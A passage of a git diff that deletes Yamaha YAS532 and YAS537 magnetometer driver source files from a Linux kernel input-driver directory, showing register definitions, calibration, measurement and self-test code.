YAS_GYRO_CALIB_ENABLE -#define YAS_GYRO_CALIB_ENABLE (0) -#endif - -#if YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE -#undef YAS_FUSION_WITH_GYRO_ENABLE -#define YAS_FUSION_WITH_GYRO_ENABLE (0) -#endif - -#if !YAS_FUSION_ENABLE -#undef YAS_FUSION_WITH_GYRO_ENABLE -#define YAS_FUSION_WITH_GYRO_ENABLE (0) -#endif - -#if YAS_LOG_ENABLE -#ifdef __KERNEL__ -#undef YAS_LOG_ENABLE -#define YAS_LOG_ENABLE (0) -#else -#include -#include -#endif -#endif - -/*! yas magnetometer name */ -#define YAS_MAG_NAME "yas_magnetometer" -/*! yas accelerometer name */ -#define YAS_ACC_NAME "yas_accelerometer" -/*! yas accelerometer and magnetometer 6axis sensor name */ -#define YAS_ACC_MAG_NAME "yas_acc_mag_6axis" -/*! yas accelerometer and gyroscope 6axis sensor name */ -#define YAS_ACC_GYRO_NAME "yas_acc_gyro_6axis" -/*! yas gyroscope name */ -#define YAS_GYRO_NAME "yas_gyroscope" - -#endif diff --git a/drivers/input/misc/yas_mag_drv-yas532.c b/drivers/input/misc/yas_mag_drv-yas532.c deleted file mode 100644 index 7c02aa332e485..0000000000000 --- a/drivers/input/misc/yas_mag_drv-yas532.c +++ /dev/null @@ -1,823 +0,0 @@ -/* - * Copyright (c) 2013-2014 Yamaha Corporation - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any damages - * arising from the use of this software. - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software. If you use this software - * in a product, an acknowledgment in the product documentation would be - * appreciated but is not required. - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software. - * 3. This notice may not be removed or altered from any source distribution. - */ - -#include "yas.h" - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 - -#define YAS532_REG_DEVID (0x80) -#define YAS532_REG_RCOILR (0x81) -#define YAS532_REG_CMDR (0x82) -#define YAS532_REG_CONFR (0x83) -#define YAS532_REG_DLYR (0x84) -#define YAS532_REG_OXR (0x85) -#define YAS532_REG_OY1R (0x86) -#define YAS532_REG_OY2R (0x87) -#define YAS532_REG_TEST1R (0x88) -#define YAS532_REG_TEST2R (0x89) -#define YAS532_REG_CALR (0x90) -#define YAS532_REG_DATAR (0xB0) - -#define YAS532_VERSION_AC_COEF_X (850) -#define YAS532_VERSION_AC_COEF_Y1 (750) -#define YAS532_VERSION_AC_COEF_Y2 (750) -#define YAS532_DATA_CENTER (4096) -#define YAS532_DATA_UNDERFLOW (0) -#define YAS532_DATA_OVERFLOW (8190) -#define YAS532_DEVICE_ID (0x02) /* YAS532 (MS-3R/3F) */ -#define YAS532_TEMP20DEGREE_TYPICAL (390) - -#define YAS_X_OVERFLOW (0x01) -#define YAS_X_UNDERFLOW (0x02) -#define YAS_Y1_OVERFLOW (0x04) -#define YAS_Y1_UNDERFLOW (0x08) -#define YAS_Y2_OVERFLOW (0x10) -#define YAS_Y2_UNDERFLOW (0x20) -#define YAS_OVERFLOW (YAS_X_OVERFLOW|YAS_Y1_OVERFLOW|YAS_Y2_OVERFLOW) -#define YAS_UNDERFLOW (YAS_X_UNDERFLOW|YAS_Y1_UNDERFLOW|YAS_Y2_UNDERFLOW) - -#define YAS532_MAG_STATE_NORMAL (0) -#define YAS532_MAG_STATE_INIT_COIL (1) -#define YAS532_MAG_STATE_MEASURE_OFFSET (2) -#define YAS532_MAG_INITCOIL_TIMEOUT (1000) /* msec */ -#define YAS532_MAG_TEMPERATURE_LOG (10) -#define YAS532_MAG_NOTRANS_POSITION (3) -#if YAS532_DRIVER_NO_SLEEP -#define YAS_MAG_MAX_BUSY_LOOP (1000) -#endif - -#define set_vector(to, from) \ - {int _l; for (_l = 0; _l < 3; _l++) (to)[_l] = (from)[_l]; } -#define is_valid_offset(a) \ - (((a)[0] <= 31) && ((a)[1] <= 31) && ((a)[2] <= 31) \ - && (-31 <= (a)[0]) && (-31 <= (a)[1]) && (-31 <= (a)[2])) - -struct yas_cal_data { - int8_t rxy1y2[3]; - uint8_t fxy1y2[3]; - int32_t cx, cy1, cy2; - int32_t a2, a3, a4, a5, a6, a7, a8, a9, k; -}; -#if 1 < YAS532_MAG_TEMPERATURE_LOG -struct yas_temperature_filter { - uint16_t log[YAS532_MAG_TEMPERATURE_LOG]; - int num; - int idx; -}; -#endif -struct yas_cdriver { - int initialized; - struct yas_cal_data cal; - struct yas_driver_callback cbk; - int measure_state; - int8_t hard_offset[3]; - int32_t coef[3]; - int overflow; - uint32_t overflow_time; - int position; - int delay; - int enable; - uint8_t dev_id; - const int8_t *transform; -#if 1 < YAS532_MAG_TEMPERATURE_LOG - struct yas_temperature_filter t; -#endif - uint32_t current_time; - uint16_t last_raw[4]; -#if YAS532_DRIVER_NO_SLEEP - int start_flag; - int wait_flag; -#endif - struct yas_matrix static_matrix; -}; - -static const int yas532_version_ac_coef[] = {YAS532_VERSION_AC_COEF_X, - YAS532_VERSION_AC_COEF_Y1, YAS532_VERSION_AC_COEF_Y2}; -static const int8_t INVALID_OFFSET[] = {0x7f, 0x7f, 0x7f}; -static const struct yas_matrix no_conversion - = { {10000, 0, 0, 0, 10000, 0, 0, 0, 10000} }; -static const int8_t YAS532_TRANSFORMATION[][9] = { - { 0, 1, 0, -1, 0, 0, 0, 0, 1 }, - {-1, 0, 0, 0, -1, 0, 0, 0, 1 }, - { 0, -1, 0, 1, 0, 0, 0, 0, 1 }, - { 1, 0, 0, 0, 1, 0, 0, 0, 1 }, - { 0, -1, 0, -1, 0, 0, 0, 0, -1 }, - { 1, 0, 0, 0, -1, 0, 0, 0, -1 }, - { 0, 1, 0, 1, 0, 0, 0, 0, -1 }, - {-1, 0, 0, 0, 1, 0, 0, 0, -1 }, -}; -static struct yas_cdriver driver; - -#define yas_read(a, b, c) \ - (driver.cbk.device_read(YAS_TYPE_MAG, (a), (b), (c))) -static int yas_single_write(uint8_t addr, uint8_t data) -{ - return driver.cbk.device_write(YAS_TYPE_MAG, addr, &data, 1); -} - -static void apply_matrix(struct yas_vector *xyz, struct yas_matrix *m) -{ - int32_t tmp[3]; - int i; - if (m == NULL) - return; - for (i = 0; i < 3; i++) - tmp[i] = ((m->m[i*3]/10) * (xyz->v[0]/10) - + (m->m[i*3+1]/10) * (xyz->v[1]/10) - + (m->m[i*3+2]/10) * (xyz->v[2]/10)) / 100; - for (i = 0; i < 3; i++) - xyz->v[i] = tmp[i]; -} - -static uint32_t curtime(void) -{ - if (driver.cbk.current_time) - return driver.cbk.current_time(); - else - return driver.current_time; -} - -static void xy1y2_to_linear(uint16_t *xy1y2, int32_t *xy1y2_linear) -{ - static const uint16_t cval[] = {3721, 3971, 4221, 4471}; - int i; - for (i = 0; i < 3; i++) - xy1y2_linear[i] = xy1y2[i] - cval[driver.cal.fxy1y2[i]] - + (driver.hard_offset[i] - driver.cal.rxy1y2[i]) - * driver.coef[i]; -} - -static int get_cal_data_yas532(struct yas_cal_data *c) -{ - uint8_t data[14]; int i; - if (yas_read(YAS532_REG_CALR, data, 14) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_read(YAS532_REG_CALR, data, 14) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - c->fxy1y2[0] = (uint8_t)(((data[10]&0x01)<<1) | ((data[11]>>7)&0x01)); - c->rxy1y2[0] = ((int8_t)(((data[10]>>1) & 0x3f)<<2))>>2; - c->fxy1y2[1] = (uint8_t)(((data[11]&0x01)<<1) | ((data[12]>>7)&0x01)); - c->rxy1y2[1] = ((int8_t)(((data[11]>>1) & 0x3f)<<2))>>2; - c->fxy1y2[2] = (uint8_t)(((data[12]&0x01)<<1) | ((data[13]>>7)&0x01)); - c->rxy1y2[2] = ((int8_t)(((data[12]>>1) & 0x3f)<<2))>>2; - c->cx = data[0] * 10 - 1280; - c->cy1 = data[1] * 10 - 1280; - c->cy2 = data[2] * 10 - 1280; - c->a2 = ((data[3]>>2)&0x03f) - 32; - c->a3 = (uint8_t)(((data[3]<<2) & 0x0c) | ((data[4]>>6) & 0x03)) - 8; - c->a4 = (uint8_t)(data[4] & 0x3f) - 32; - c->a5 = ((data[5]>>2) & 0x3f) + 38; - c->a6 = (uint8_t)(((data[5]<<4) & 0x30) | ((data[6]>>4) & 0x0f)) - 32; - c->a7 = (uint8_t)(((data[6]<<3) & 0x78) | ((data[7]>>5) & 0x07)) - 64; - c->a8 = (uint8_t)(((data[7]<<1) & 0x3e) | ((data[8]>>7) & 0x01)) - 32; - c->a9 = (uint8_t)(((data[8]<<1) & 0xfe) | ((data[9]>>7) & 0x01)); - c->k = (uint8_t)((data[9]>>2) & 0x1f); - for (i = 0; i < 13; i++) - if (data[i] != 0) - return YAS_NO_ERROR; - if (data[13] & 0x80) - return YAS_NO_ERROR; - return YAS_ERROR_CALREG; -} - -#if YAS532_DRIVER_NO_SLEEP -static int busy_wait(void) -{ - int i; - uint8_t busy; - for (i = 0; i < YAS_MAG_MAX_BUSY_LOOP; i++) { - if (yas_read(YAS532_REG_DATAR, &busy, 1) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (!(busy & 0x80)) - return YAS_NO_ERROR; - } - return YAS_ERROR_BUSY; -} - -static int wait_if_busy(void) -{ - int rt; - if (driver.start_flag && driver.wait_flag) { - rt = busy_wait(); - if (rt < 0) - return rt; - driver.wait_flag = 0; - } - return YAS_NO_ERROR; -} -#endif - -static int measure_start_yas532(int ldtc, int fors, int wait) -{ - uint8_t data = 0x01; - data = (uint8_t)(data | (((!!ldtc)<<1) & 0x02)); - data = (uint8_t)(data | (((!!fors)<<2) & 0x04)); - if (yas_single_write(YAS532_REG_CMDR, data) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; -#if YAS532_DRIVER_NO_SLEEP - if (wait) { - int rt; - rt = busy_wait(); - if (rt < 0) - return rt; - driver.wait_flag = 0; - } else - driver.wait_flag = 1; - driver.start_flag = 1; -#else - (void) wait; - driver.cbk.usleep(1500); -#endif - return YAS_NO_ERROR; -} - -static int measure_normal_yas532(int ldtc, int fors, int *busy, uint16_t *t, - uint16_t *xy1y2, int *ouflow) -{ - uint8_t data[8]; - int i, rt; -#if YAS532_DRIVER_NO_SLEEP - if (!driver.start_flag) { -#endif - rt = measure_start_yas532(ldtc, fors, 1); - if (rt < 0) - return rt; -#if YAS532_DRIVER_NO_SLEEP - } -#endif - if (yas_read(YAS532_REG_DATAR, data, 8) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; -#if YAS532_DRIVER_NO_SLEEP - driver.start_flag = 0; -#endif - *busy = (data[0]>>7) & 0x01; - *t = (uint16_t)((((int32_t)data[0]<<3) & 0x3f8)|((data[1]>>5) & 0x07)); - xy1y2[0] = (uint16_t)((((int32_t)data[2]<<6) & 0x1fc0) - | ((data[3]>>2) & 0x3f)); - xy1y2[1] = (uint16_t)((((int32_t)data[4]<<6) & 0x1fc0) - | ((data[5]>>2) & 0x3f)); - xy1y2[2] = (uint16_t)((((int32_t)data[6]<<6) & 0x1fc0) - | ((data[7]>>2) & 0x3f)); - *ouflow = 0; - for (i = 0; i < 3; i++) { - if (xy1y2[i] == YAS532_DATA_OVERFLOW) - *ouflow |= (1<<(i*2)); - if (xy1y2[i] == YAS532_DATA_UNDERFLOW) - *ouflow |= (1<<(i*2+1)); - } - return YAS_NO_ERROR; -} - -static int yas_cdrv_set_offset(const int8_t *offset) -{ - if (yas_single_write(YAS532_REG_OXR, (uint8_t)offset[0]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS532_REG_OY1R, (uint8_t)offset[1]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS532_REG_OY2R, (uint8_t)offset[2]) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - set_vector(driver.hard_offset, offset); - return YAS_NO_ERROR; -} - -static int yas_cdrv_measure_and_set_offset(void) -{ - static const int correct[5] = {16, 8, 4, 2, 1}; - int8_t hard_offset[3] = {0, 0, 0}; - uint16_t t, xy1y2[3]; - int32_t flag[3]; - int i, j, busy, ouflow, rt; -#if YAS532_DRIVER_NO_SLEEP - driver.start_flag = 0; -#endif - for (i = 0; i < 5; i++) { - rt = yas_cdrv_set_offset(hard_offset); - if (rt < 0) - return rt; - rt = measure_normal_yas532(0, 0, &busy, &t, xy1y2, &ouflow); - if (rt < 0) - return rt; - if (busy) - return YAS_ERROR_BUSY; - for (j = 0; j < 3; j++) { - if (YAS532_DATA_CENTER == xy1y2[j]) - flag[j] = 0; - if (YAS532_DATA_CENTER < xy1y2[j]) - flag[j] = 1; - if (xy1y2[j] < YAS532_DATA_CENTER) - flag[j] = -1; - } - for (j = 0; j < 3; j++) - if (flag[j]) - hard_offset[j] = (int8_t)(hard_offset[j] - + flag[j] * correct[i]); - } - return yas_cdrv_set_offset(hard_offset); -} - -static int yas_cdrv_sensitivity_measuremnet(int32_t *sx, int32_t *sy) -{ - struct yas_cal_data *c = &driver.cal; - uint16_t xy1y2_on[3], xy1y2_off[3], t; - int busy, flowon = 0, flowoff = 0; - if (measure_normal_yas532(1, 0, &busy, &t, xy1y2_on, &flowon) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (busy) - return YAS_ERROR_BUSY; - if (measure_normal_yas532(1, 1, &busy, &t, xy1y2_off, &flowoff) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (busy) - return YAS_ERROR_BUSY; - *sx = c->k * (xy1y2_on[0] - xy1y2_off[0]) * 10 / YAS_MAG_VCORE; - *sy = c->k * c->a5 * ((xy1y2_on[1] - xy1y2_off[1]) - - (xy1y2_on[2] - xy1y2_off[2])) / 10 / YAS_MAG_VCORE; - return flowon | flowoff; -} - -static int yas_get_position(void) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - return driver.position; -} - -static int yas_set_position(int position) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (position < 0 || 7 < position) - return YAS_ERROR_ARG; - if (position == YAS532_MAG_NOTRANS_POSITION) - driver.transform = NULL; - else - driver.transform = YAS532_TRANSFORMATION[position]; - driver.position = position; - return YAS_NO_ERROR; -} - -static int yas_set_offset(const int8_t *hard_offset) -{ - if (!driver.enable) { - set_vector(driver.hard_offset, hard_offset); - return YAS_NO_ERROR; - } - if (is_valid_offset(hard_offset)) { -#if YAS532_DRIVER_NO_SLEEP - int rt; - rt = wait_if_busy(); - if (rt < 0) - return rt; -#endif - if (yas_cdrv_set_offset(hard_offset) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - driver.measure_state = YAS532_MAG_STATE_NORMAL; - } else { - set_vector(driver.hard_offset, INVALID_OFFSET); - driver.measure_state = YAS532_MAG_STATE_MEASURE_OFFSET; - } - return YAS_NO_ERROR; -} - -static int yas_measure(struct yas_data *data, int num, int temp_correction, - int *ouflow) -{ - struct yas_cal_data *c = &driver.cal; - int32_t xy1y2_linear[3]; - int32_t xyz_tmp[3], tmp; - int32_t sx, sy1, sy2, sy, sz; - int i, busy; - uint16_t t, xy1y2[3]; - uint32_t tm; - int rt; -#if 1 < YAS532_MAG_TEMPERATURE_LOG - int32_t sum = 0; -#endif - *ouflow = 0; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (data == NULL || num < 0) - return YAS_ERROR_ARG; - if (driver.cbk.current_time == NULL) - driver.current_time += (uint32_t)driver.delay; - if (num == 0) - return 0; - if (!driver.enable) - return 0; - switch (driver.measure_state) { - case YAS532_MAG_STATE_INIT_COIL: - tm = curtime(); - if (tm - driver.overflow_time < YAS532_MAG_INITCOIL_TIMEOUT) - break; - driver.overflow_time = tm; - if (yas_single_write(YAS532_REG_RCOILR, 0x00) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (!driver.overflow && is_valid_offset(driver.hard_offset)) { - driver.measure_state = YAS532_MAG_STATE_NORMAL; - break; - } - /* FALLTHRU */ - case YAS532_MAG_STATE_MEASURE_OFFSET: - rt = yas_cdrv_measure_and_set_offset(); - if (rt < 0) - return rt; - driver.measure_state = YAS532_MAG_STATE_NORMAL; - break; - } - - if (measure_normal_yas532(0, 0, &busy, &t, xy1y2, ouflow) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - xy1y2_to_linear(xy1y2, xy1y2_linear); -#if 1 < YAS532_MAG_TEMPERATURE_LOG - driver.t.log[driver.t.idx++] = t; - if (YAS532_MAG_TEMPERATURE_LOG <= driver.t.idx) - driver.t.idx = 0; - driver.t.num++; - if (YAS532_MAG_TEMPERATURE_LOG <= driver.t.num) - driver.t.num = YAS532_MAG_TEMPERATURE_LOG; - for (i = 0; i < driver.t.num; i++) - sum += driver.t.log[i]; - tmp = sum * 10 / driver.t.num - YAS532_TEMP20DEGREE_TYPICAL * 10; -#else - tmp = (t - YAS532_TEMP20DEGREE_TYPICAL) * 10; -#endif - sx = xy1y2_linear[0]; - sy1 = xy1y2_linear[1]; - sy2 = xy1y2_linear[2]; - if (temp_correction) { - sx -= (c->cx * tmp) / 1000; - sy1 -= (c->cy1 * tmp) / 1000; - sy2 -= (c->cy2 * tmp) / 1000; - } - sy = sy1 - sy2; - sz = -sy1 - sy2; - data->xyz.v[0] = c->k * ((100 * sx + c->a2 * sy + c->a3 * sz) / 10); - data->xyz.v[1] = c->k * ((c->a4 * sx + c->a5 * sy + c->a6 * sz) / 10); - data->xyz.v[2] = c->k * ((c->a7 * sx + c->a8 * sy + c->a9 * sz) / 10); - if (driver.transform != NULL) { - for (i = 0; i < 3; i++) { - xyz_tmp[i] = driver.transform[i*3] * data->xyz.v[0] - + driver.transform[i*3+1] * data->xyz.v[1] - + driver.transform[i*3+2] * data->xyz.v[2]; - } - set_vector(data->xyz.v, xyz_tmp); - } - apply_matrix(&data->xyz, &driver.static_matrix); - for (i = 0; i < 3; i++) { - data->xyz.v[i] -= data->xyz.v[i] % 10; - if (*ouflow & (1<<(i*2))) - data->xyz.v[i] += 1; /* set overflow */ - if (*ouflow & (1<<(i*2+1))) - data->xyz.v[i] += 2; /* set underflow */ - } - tm = curtime(); - data->type = YAS_TYPE_MAG; - if (driver.cbk.current_time) - data->timestamp = tm; - else - data->timestamp = 0; - data->accuracy = 0; - if (busy) - return YAS_ERROR_BUSY; - if (0 < *ouflow) { - if (!driver.overflow) - driver.overflow_time = tm; - driver.overflow = 1; - driver.measure_state = YAS532_MAG_STATE_INIT_COIL; - } else - driver.overflow = 0; - for (i = 0; i < 3; i++) - driver.last_raw[i] = xy1y2[i]; - driver.last_raw[i] = t; -#if YAS532_DRIVER_NO_SLEEP - rt = measure_start_yas532(0, 0, 0); - if (rt < 0) - return rt; -#endif - return 1; -} - -static int yas_measure_wrap(struct yas_data *data, int num) -{ - int ouflow; - return yas_measure(data, num, 1, &ouflow); -} - -static int yas_get_delay(void) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - return driver.delay; -} - -static int yas_set_delay(int delay) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (delay < 0) - return YAS_ERROR_ARG; - driver.delay = delay; - return YAS_NO_ERROR; -} - -static int yas_get_enable(void) -{ - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - return driver.enable; -} - -static int yas_set_enable(int enable) -{ - int rt = YAS_NO_ERROR; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - enable = !!enable; - if (driver.enable == enable) - return YAS_NO_ERROR; - if (enable) { - if (driver.cbk.device_open(YAS_TYPE_MAG) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_single_write(YAS532_REG_TEST1R, 0x00) < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - if (yas_single_write(YAS532_REG_TEST2R, 0x00) < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - if (yas_single_write(YAS532_REG_RCOILR, 0x00) < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - if (is_valid_offset(driver.hard_offset)) { - if (yas_cdrv_set_offset(driver.hard_offset) < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - driver.measure_state = YAS532_MAG_STATE_NORMAL; - } else { - set_vector(driver.hard_offset, INVALID_OFFSET); - driver.measure_state = YAS532_MAG_STATE_MEASURE_OFFSET; - } - } else { -#if YAS532_DRIVER_NO_SLEEP - rt = wait_if_busy(); -#endif - driver.cbk.device_close(YAS_TYPE_MAG); - } - driver.enable = enable; - return rt; -} - -static int yas_ext(int32_t cmd, void *p) -{ - struct yas532_self_test_result *r; - struct yas_data data; - int32_t xy1y2_linear[3], *raw_xyz; - int16_t *m; - int rt, i, enable, ouflow, position; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - if (p == NULL) - return YAS_ERROR_ARG; - switch (cmd) { - case YAS532_SELF_TEST: - r = (struct yas532_self_test_result *) p; - r->id = driver.dev_id; - enable = driver.enable; - if (!enable) { - rt = yas_set_enable(1); - if (rt < 0) - return rt; - } -#if YAS532_DRIVER_NO_SLEEP - rt = wait_if_busy(); - if (rt < 0) - return rt; -#endif - if (yas_single_write(YAS532_REG_RCOILR, 0x00) < 0) { - if (!enable) - yas_set_enable(0); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - yas_set_offset(INVALID_OFFSET); - position = yas_get_position(); - yas_set_position(YAS532_MAG_NOTRANS_POSITION); - rt = yas_measure(&data, 1, 0, &ouflow); - yas_set_position(position); - set_vector(r->xy1y2, driver.hard_offset); - if (rt < 0) { - if (!enable) - yas_set_enable(0); - return rt; - } - if (ouflow & YAS_OVERFLOW) { - if (!enable) - yas_set_enable(0); - return YAS_ERROR_OVERFLOW; - } - if (ouflow & YAS_UNDERFLOW) { - if (!enable) - yas_set_enable(0); - return YAS_ERROR_UNDERFLOW; - } - if (data.xyz.v[0] == 0 && data.xyz.v[1] == 0 - && data.xyz.v[2] == 0) { - if (!enable) - yas_set_enable(0); - return YAS_ERROR_DIRCALC; - } - r->dir = 99; - for (i = 0; i < 3; i++) - r->xyz[i] = data.xyz.v[i] / 1000; -#if YAS532_DRIVER_NO_SLEEP - rt = wait_if_busy(); - if (rt < 0) { - if (!enable) - yas_set_enable(0); - return rt; - } - driver.start_flag = 0; -#endif - rt = yas_cdrv_sensitivity_measuremnet(&r->sx, &r->sy); - if (rt < 0) { - if (!enable) - yas_set_enable(0); - return rt; - } - if (rt & YAS_OVERFLOW) { - if (!enable) - yas_set_enable(0); - return YAS_ERROR_OVERFLOW; - } - if (rt & YAS_UNDERFLOW) { - if (!enable) - yas_set_enable(0); - return YAS_ERROR_UNDERFLOW; - } - if (!enable) - yas_set_enable(0); - return YAS_NO_ERROR; - case YAS532_SELF_TEST_NOISE: - raw_xyz = (int32_t *) p; - enable = driver.enable; - if (!enable) { - rt = yas_set_enable(1); - if (rt < 0) - return rt; - } -#if YAS532_DRIVER_NO_SLEEP - rt = wait_if_busy(); - if (rt < 0) - return rt; -#endif - rt = yas_measure(&data, 1, 0, &ouflow); - if (rt < 0) { - if (!enable) - yas_set_enable(0); - return rt; - } -#if YAS532_DRIVER_NO_SLEEP - rt = wait_if_busy(); - if (rt < 0) { - if (!enable) - yas_set_enable(0); - return rt; - } -#endif - xy1y2_to_linear(driver.last_raw, xy1y2_linear); - raw_xyz[0] = xy1y2_linear[0]; - raw_xyz[1] = xy1y2_linear[1] - xy1y2_linear[2]; - raw_xyz[2] = -xy1y2_linear[1] - xy1y2_linear[2]; - if (!enable) - yas_set_enable(0); - return YAS_NO_ERROR; - case YAS532_GET_HW_OFFSET: - set_vector((int8_t *) p, driver.hard_offset); - return YAS_NO_ERROR; - case YAS532_SET_HW_OFFSET: - return yas_set_offset((int8_t *) p); - case YAS532_GET_LAST_RAWDATA: - for (i = 0; i < 4; i++) - ((uint16_t *) p)[i] = driver.last_raw[i]; - return YAS_NO_ERROR; - case YAS532_GET_STATIC_MATRIX: - m = (int16_t *) p; - for (i = 0; i < 9; i++) - m[i] = driver.static_matrix.m[i]; - return YAS_NO_ERROR; - case YAS532_SET_STATIC_MATRIX: - m = (int16_t *) p; - for (i = 0; i < 9; i++) - driver.static_matrix.m[i] = m[i]; - return YAS_NO_ERROR; - default: - break; - } - return YAS_ERROR_ARG; -} - -static int yas_init(void) -{ - int i, rt; - uint8_t data; - if (driver.initialized) - return YAS_ERROR_INITIALIZE; - if (driver.cbk.device_open(YAS_TYPE_MAG) < 0) - return YAS_ERROR_DEVICE_COMMUNICATION; - if (yas_read(YAS532_REG_DEVID, &data, 1) < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_DEVICE_COMMUNICATION; - } - driver.dev_id = data; - if (driver.dev_id != YAS532_DEVICE_ID) { - driver.cbk.device_close(YAS_TYPE_MAG); - return YAS_ERROR_CHIP_ID; - } - rt = get_cal_data_yas532(&driver.cal); - if (rt < 0) { - driver.cbk.device_close(YAS_TYPE_MAG); - return rt; - } - driver.cbk.device_close(YAS_TYPE_MAG); - - driver.measure_state = YAS532_MAG_STATE_INIT_COIL; - set_vector(driver.hard_offset, INVALID_OFFSET); - driver.overflow = 0; - driver.overflow_time = driver.current_time; - driver.position = YAS532_MAG_NOTRANS_POSITION; - driver.delay = YAS_DEFAULT_SENSOR_DELAY; - driver.enable = 0; - driver.transform = NULL; -#if YAS532_DRIVER_NO_SLEEP - driver.start_flag = 0; - driver.wait_flag = 0; -#endif -#if 1 < YAS532_MAG_TEMPERATURE_LOG - driver.t.num = driver.t.idx = 0; -#endif - driver.current_time = curtime(); - for (i = 0; i < 3; i++) { - driver.coef[i] = yas532_version_ac_coef[i]; - driver.last_raw[i] = 0; - } - driver.last_raw[3] = 0; - driver.static_matrix = no_conversion; - driver.initialized = 1; - return YAS_NO_ERROR; -} - -static int yas_term(void) -{ - int rt; - if (!driver.initialized) - return YAS_ERROR_INITIALIZE; - rt = yas_set_enable(0); - driver.initialized = 0; - return rt; -} - -int yas_mag_driver_init(struct yas_mag_driver *f) -{ - if (f == NULL || f->callback.device_open == NULL - || f->callback.device_close == NULL - || f->callback.device_read == NULL - || f->callback.device_write == NULL -#if !YAS532_DRIVER_NO_SLEEP - || f->callback.usleep == NULL -#endif - ) - return YAS_ERROR_ARG; - f->init = yas_init; - f->term = yas_term; - f->get_delay = yas_get_delay; - f->set_delay = yas_set_delay; - f->get_enable = yas_get_enable; - f->set_enable = yas_set_enable; - f->get_position = yas_get_position; - f->set_position = yas_set_position; - f->measure = yas_measure_wrap; - f->ext = yas_ext; - driver.cbk = f->callback; - yas_term(); - return YAS_NO_ERROR; -} -#endif diff --git a/drivers/input/misc/yas_mag_drv-yas537.c b/drivers/input/misc/yas_mag_drv-yas537.c deleted file mode 100644 index 6d89946aa7078..0000000000000 --- a/drivers/input/misc/yas_mag_drv-yas537.c +++ /dev/null @@ -1,790 +0,0 @@ -/* - * Copyright (c) 2014 Yamaha Corporation - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any damages - * arising from the use of this software. - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software. If you use this software - * in a product, an acknowledgment in the product documentation would be - * appreciated but is not required. - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software. - * 3. This notice may not be removed or altered from any source distribution. - */ - -#include "yas.h" -#include - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - -#define YAS537_REG_DIDR (0x80) -#define YAS537_REG_CMDR (0x81) -#define YAS537_REG_CONFR (0x82) -#define YAS537_REG_INTRVLR (0x83) -#define YAS537_REG_OXR (0x84) -#define YAS537_REG_OY1R (0x85) -#define YAS537_REG_OY2R (0x86) -#define YAS537_REG_AVRR (0x87) -#define YAS537_REG_HCKR (0x88) -#define YAS537_REG_LCKR (0x89) -#define YAS537_REG_SRSTR (0x90) -#define YAS537_REG_ADCCALR (0x91) -#define YAS537_REG_MTCR (0x93) -#define YAS537_REG_OCR (0x9e) -#define YAS537_REG_TRMR (0x9f) -#define YAS537_REG_DATAR (0xb0) -#define YAS537_REG_CALR (0xc0) - -#define YAS537_DATA_UNDERFLOW (0) -#define YAS537_DATA_OVERFLOW (16383) -#define YAS537_DEVICE_ID (0x07) /* YAS537 (MS-3T) */ - -#define YAS_X_OVERFLOW (0x01) -#define YAS_X_UNDERFLOW (0x02) -#define YAS_Y1_OVERFLOW (0x04) -#define YAS_Y1_UNDERFLOW (0x08) -#define YAS_Y2_OVERFLOW (0x10) -#define YAS_Y2_UNDERFLOW (0x20) -#define YAS_OVERFLOW (YAS_X_OVERFLOW|YAS_Y1_OVERFLOW|YAS_Y2_OVERFLOW) -#define YAS_UNDERFLOW (YAS_X_UNDERFLOW|YAS_Y1_UNDERFLOW|YAS_Y2_UNDERFLOW) - -#define YAS537_MAG_STATE_NORMAL (0) -#define YAS537_MAG_STATE_INIT_COIL (1) -#define YAS537_MAG_INITCOIL_TIMEOUT (1000) /* msec */ -#define YAS537_MAG_POWER_ON_RESET_TIME (4000) /* usec */ -#define YAS537_MAG_NOTRANS_POSITION (2) - -#define YAS537_MAG_AVERAGE_8 (0) -#define YAS537_MAG_AVERAGE_16 (1) -#define YAS537_MAG_AVERAGE_32 (2) -#define 